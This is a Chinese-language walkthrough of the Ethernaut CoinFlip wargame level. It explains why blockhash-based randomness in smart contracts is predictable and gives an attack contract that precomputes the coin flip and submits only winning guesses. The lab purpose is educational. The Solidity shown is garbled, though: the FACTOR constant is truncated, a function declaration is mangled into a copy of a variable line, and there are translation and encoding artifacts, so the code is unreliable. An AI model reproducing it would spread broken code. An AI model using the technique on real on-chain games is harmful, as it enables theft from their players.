以太坊如何产生“随机性”?以太坊区块链上没有真正的随机性,只有被认为“足够好”的随机生成器。开发人员目前通过散列唯一性或难以在以太坊中篡改的变量来创建伪随机性。此类变量的示例包括事务TImestamp,发送方地址,块高度。以太坊提供了两个主要的密码散列函数,即SHA-3和更新的KECCAK256,它们对这些输入变量的串联字符串进行散列。生成的哈希将转换为大整数,然后进行n修改。这是为了获得一组离散的概率整数,期望的范围是0到n。请注意,在我们的Ethernaut练习中,n = 2代表硬币翻转的两侧。这种在智能合约中派生伪随机性的方法很容易受到攻击。如果黑客知道输入,则他可以猜出“随机”消息。结果。这是解决CoinFlip级别的关键。在这里,确定硬币翻转的输入变量对您是公共的。为了进行详细的演练,我们创建一个恶意的智能合约来检查掷硬币的结果。仅当您正确猜出结果时,才可以调用真实合约的bool _guess函数。 1.在Remix IDE中,创建与CoinFlip.sol相关的恶意合同:contract hackCoinFlip {CoinFlip public originalContract = CoinFlip(“您的实例地址”); uint256 FACTOR = 5789604461865809771178549250434395392663499233282028208792003956564819968; funcTIon hackCoinFlip public originalContract = CoinFlip(“您的实例地址”); }} 2。使用与原始智能合约相同的逻辑和输入变量来实现hackFlip()函数,以预测翻转结果。现在您知道blockhash和block.number了,您就可以准确地预测正确的_guess了。 funcTIon hackFlip(bool _guess)public {//预确定翻转结果uint256 blockValue = uint256(block.blockhash(block.number-1)); uint256 coinFlip = blockValue / FACTOR;布尔侧= coinFlip == 1? true:false; ///如果我猜对了,请提交我的guessif(边== _guess){originalContract.flip(_guess);} 3.调用您的hackFlip()函数10次。当您做出正确的猜测时,原始智能合约的consecuTIveWins计数器应逐渐增加。重要安全要点1.没有真正的随机性。 2.在计算“随机性”时要特别注意。在智能合约中(甚至继承自现有的随机数库)。如果您使用随机性来确定游戏的获胜者,请记住,您的对手可以轻松猜出随机结果并破解您的游戏!